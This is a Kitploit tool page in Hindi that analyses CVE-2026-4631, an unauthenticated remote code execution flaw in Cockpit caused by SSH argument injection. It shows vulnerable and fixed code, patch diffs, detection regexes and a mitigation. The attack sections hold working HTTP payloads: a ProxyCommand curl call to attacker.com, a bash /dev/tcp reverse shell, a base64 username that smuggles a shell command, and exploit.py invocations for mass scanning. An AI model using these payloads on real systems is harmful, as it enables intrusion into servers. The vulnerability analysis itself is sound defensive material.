Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

कॉकपिट: SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन

रिपॉजिटरी देखें
1464 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-4631 — कोड विश्लेषण

Cockpit: SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन

फ़ील्डविवरण
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
गंभीरताक्रिटिकल (CVSS 9.8)
प्रभावित संस्करणCockpit 327 – 359
समाधानCockpit 360
CWECWE-78: OS कमांड इंजेक्शन
प्रमाणीकरण आवश्यकनहीं
रिपोर्टकर्ताJelle van der Waa

विषय-सूची

  1. भेद्यता अवलोकन
  2. आर्किटेक्चर पृष्ठभूमि
  3. मूल कारण विश्लेषण
  4. भेद्य कोड — फ़ाइल दर फ़ाइल
  5. हमले के वेक्टर
  6. डेटा प्रवाह आरेख
  7. पैच विश्लेषण
  8. पहचान
  9. संदर्भ

1. भेद्यता अवलोकन

Cockpit की रिमोट लॉगिन सुविधा उपयोगकर्ता-आपूर्ति होस्टनाम (URL पथ से) और उपयोगकर्ता नाम (Authorization: Basic हेडर से) को बिना किसी सत्यापन या स्वच्छता के सीधे OpenSSH ssh बाइनरी को पास करती है।

पोर्ट 9090 तक नेटवर्क पहुंच वाला एक बिना प्रमाणीकृत हमलावर एक ही HTTP अनुरोध तैयार कर सकता है जो:

  • होस्टनाम फ़ील्ड के माध्यम से मनमाने SSH विकल्प इंजेक्ट करता है (-oProxyCommand=<cmd>)
  • उपयोगकर्ता नाम फ़ील्ड के माध्यम से SSH के %r टोकन विस्तार का शोषण करके शेल कमांड इंजेक्ट करता है

दोनों इंजेक्शन बिंदु क्रेडेंशियल सत्यापन पूरा होने से पहले सक्रिय होते हैं, जिसका अर्थ है कि कोई वैध लॉगिन आवश्यक नहीं है।


2. आर्किटेक्चर पृष्ठभूमि

सामान्य रिमोट लॉगिन प्रवाह

Auth-flow

संस्करण 327 में क्या बदला

संस्करण 327 से पहले, Cockpit रिमोट कनेक्शन के लिए cockpit-ssh नामक एक समर्पित C बाइनरी (libssh पर आधारित) का उपयोग करता था। संस्करण 327 से शुरू करके, इसे इसके साथ बदल दिया गया:

root@kitploit:~
python3 -m cockpit.beiboot

जो सिस्टम OpenSSH ssh क्लाइंट को आमंत्रित करता है। इस परिवर्तन ने भेद्यता पेश की क्योंकि नया कोड पथ उपयोगकर्ता-नियंत्रित मानों को बिना स्वच्छता के सीधे ssh को पास करता है।


3. मूल कारण विश्लेषण

समस्या 1 — होस्टनाम से पहले कोई -- विभाजक नहीं

SSH क्लाइंट - से शुरू होने वाले तर्कों को विकल्प के रूप में व्याख्या करता है, होस्टनाम के रूप में नहीं, जब तक कि उनसे पहले -- विभाजक न हो। -- के बिना, - से शुरू होने वाला कोई भी होस्टनाम SSH फ़्लैग के रूप में पार्स किया जाता है।

भेद्य निर्माण:

root@kitploit:~
ssh [विकल्प] <होस्टनाम> <रिमोट-कमांड>

सुरक्षित निर्माण:

root@kitploit:~
ssh [विकल्प] -- <होस्टनाम> <रिमोट-कमांड>

समस्या 2 — कोई इनपुट सत्यापन नहीं

न तो cockpit-ws (C कोड) और न ही cockpit.beiboot (Python कोड) सत्यापित या स्वच्छ करता है:

  • URL पथ से निकाला गया होस्टनाम
  • Authorization: Basic हेडर से निकाला गया उपयोगकर्ता नाम

समस्या 3 — Python argparse बग (CPython #66623)

एक ज्ञात CPython बग के कारण argparse - से शुरू होने वाले तर्कों को गलत तरीके से संभालता है जिनमें रिक्त स्थान भी होते हैं, उन्हें फ़्लैग के बजाय स्थितीय के रूप में मानता है। यह -oProxyCommand=evil command होस्टनाम को Python तर्क पार्सिंग से गुजरने और ssh तक एक विकल्प के रूप में पहुंचने की अनुमति देता है।


4. भेद्य कोड — फ़ाइल दर फ़ाइल

4.1 src/cockpit/beiboot.py — प्राथमिक इंजेक्शन बिंदु

यह सबसे महत्वपूर्ण फ़ाइल है। via_ssh() फ़ंक्शन SSH कमांड तर्क सूची बनाता है।

भेद्य कोड (पैच से पहले)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

परिणामी SSH आह्वान कैसा दिखता है

dest = "-oProxyCommand=curl http://attacker.com/id" के साथ:

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit विकल्प
arg2: -oProxyCommand=curl http://...   ←  SSH विकल्प के रूप में पार्स किया गया (होस्ट नहीं)
arg3: python3 -ic '# cockpit-bridge'   ← "होस्टनाम" बन जाता है → ProxyCommand ट्रिगर करता है

स्थिर कोड (संस्करण 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — C परत: होस्टनाम निष्कर्षण

यह C फ़ाइल प्रारंभिक HTTP अनुरोध पार्सिंग को संभालती है और beiboot प्रक्रिया को स्पॉन करती है।

URL से होस्टनाम निष्कर्षण (कोई सत्यापन नहीं)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

लौटाया गया होस्टनाम beiboot स्पॉन करते समय सीधे एक तर्क के रूप में पास किया जाता है:

root@kitploit:~
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

संस्करण 360 में स्थिर

root@kitploit:~
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Authorization हेडर से उपयोगकर्ता नाम निष्कर्षण (कोई सत्यापन नहीं)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — तीसरा इंजेक्शन बिंदु

बंडल की गई ferny लाइब्रेरी (SSH इंटरैक्शन के लिए उपयोग की जाती है) में अपने सबप्रोसेस कॉल में समान -- चूक है।

भेद्य कोड (पैच से पहले)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

स्थिर कोड (संस्करण 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — कंटेनर परिनियोजन पथ

यह स्क्रिप्ट Docker/कंटेनर-आधारित Cockpit परिनियोजन में उपयोग की जाने वाली प्रमाणीकरण कमांड है।

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

यह मुख्य beiboot.py पथ से एक अलग प्रवेश बिंदु है, जिसका अर्थ है कि Cockpit की कंटेनर परिनियोजन स्वतंत्र रूप से भेद्य हैं, भले ही मुख्य कोड पथ में पैच किया गया हो।


5. हमले के वेक्टर

वेक्टर 1 — होस्टनाम → ProxyCommand इंजेक्शन

पूर्व शर्त: Cockpit होस्ट पर OpenSSH < 9.6 (OpenSSH 9.6 ने प्रारंभिक होस्टनाम सत्यापन पेश किया जो शेल मेटाकैरेक्टर को ब्लॉक करता है)।

HTTP अनुरोध:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

डिकोड किया गया Authorization: invalid:invalid — कोई भी मान काम करता है।

यह कैसे काम करता है:

  1. cockpit-ws URL पथ से -oProxyCommand=<COMMAND> को "होस्टनाम" के रूप में निकालता है
  2. beiboot का via_ssh() बनाता है: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'
  3. SSH -oProxyCommand=<COMMAND> को एक विकल्प के रूप में पार्स करता है (होस्ट नहीं)
  4. SSH python3 -ic '# cockpit-bridge' को होस्टनाम के रूप में उपयोग करता है
  5. उस "होस्टनाम" से कनेक्ट करते समय SSH <COMMAND> को ProxyCommand के रूप में निष्पादित करता है
  6. <COMMAND> cockpit-ws प्रक्रिया उपयोगकर्ता के रूप में चलता है

उदाहरण — OOB कॉलबैक:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

डिकोड किया गया ProxyCommand: curl http://attacker.com/id``

उदाहरण — रिवर्स शेल:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

डिकोड किया गया ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


वेक्टर 2 — उपयोगकर्ता नाम → %r टोकन इंजेक्शन

पूर्व शर्त: लक्ष्य के ssh_config में %r टोकन (रिमोट उपयोगकर्ता नाम) का उपयोग करने वाला एक Match exec निर्देश शामिल है।

उदाहरण भेद्य ssh_config:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTP अनुरोध:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

डिकोड किया गया Authorization: x; touch /tmp/pwned; #:invalid

निकाला गया उपयोगकर्ता नाम: x; touch /tmp/pwned; #

यह कैसे काम करता है:

  1. SSH Match exec कमांड निष्पादित करने से पहले %r को उपयोगकर्ता नाम के साथ विस्तारित करता है
  2. शेल प्राप्त करता है: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. शेल अर्धविरामों की व्याख्या करता है: touch /tmp/pwned चलाता है, फिर बाकी को अनदेखा करता है
  4. SSH बाद में उपयोगकर्ता नाम प्रारूप को अस्वीकार करता है — लेकिन कमांड पहले ही निष्पादित हो चुका है

6. डेटा प्रवाह आरेख

Auth-bypass


7. पैच विश्लेषण

समाधान न्यूनतम है — SSH को आमंत्रित करने वाले हर स्थान पर गंतव्य तर्क से पहले -- (POSIX अंत-विकल्प विभाजक) जोड़ना।

पैच 1 — src/cockpit/beiboot.py (कमिट 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

पैच 2 — src/ws/cockpitauth.c (कमिट 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

पैच 3 — vendor/ferny/src/ferny/session.py (कमिट 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

-- इसे क्यों ठीक करता है

-- टोकन तर्क पार्सर्स (दोनों Python argparse और OpenSSH के विकल्प पार्सर) को बताता है कि बाद के सभी टोकन स्थितीय तर्क हैं, विकल्प नहीं। -- के बाद, -oProxyCommand=evil जैसा मान एक शाब्दिक होस्टनाम स्ट्रिंग के रूप में माना जाता है, जिसे SSH फिर अमान्य के रूप में अस्वीकार करता है — यह कभी भी कुछ निष्पादित नहीं करता है।


8. पहचान

नेटवर्क-स्तरीय पहचान

Cockpit के लॉगिन एंडपॉइंट पर HTTP अनुरोधों की तलाश करें जहां पथ घटक में SSH विकल्प सिंटैक्स हो:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

विशेष रूप से इन पर ध्यान दें:

  • URL पथ में -oProxyCommand= (वेक्टर 1)
  • Authorization: Basic डिकोड किए गए मान में अर्धविराम (वेक्टर 2)

लॉग पहचान (journald)

root@kitploit:~
# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"

संस्करण जांच

root@kitploit:~
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies

9. हमले के वेक्टर

एकल लक्ष्य स्कैन करें

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

फ़ाइल से कई लक्ष्य स्कैन करें

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

OOB का उपयोग करके पहचानें

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

हमला वेक्टर 1 — उपयोगकर्ता नाम → %r टोकन इंजेक्शन

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

शमन (यदि पैच तत्काल नहीं है)

/etc/cockpit/cockpit.conf में जोड़ें:

root@kitploit:~
[WebService]
LoginTo = false

यह रिमोट लॉगिन सुविधा को पूरी तरह से अक्षम कर देता है, beiboot कोड पथ को ट्रिगर होने से रोकता है।


10. संदर्भ

संसाधनURL
OSS-Security प्रकटीकरणhttps://www.openwall.com/lists/oss-security/2026/04/10/5
GitHub सुरक्षा सलाहhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzilla मुद्दाhttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
समाधान कमिट (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
समाधान कमिट (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparse बगhttps://github.com/python/cpython/issues/66623
OpenSSH 9.6 होस्टनाम सत्यापनhttps://github.com/openssh/openssh-portable/commit/7ef3787
टूल डाउनलोड करें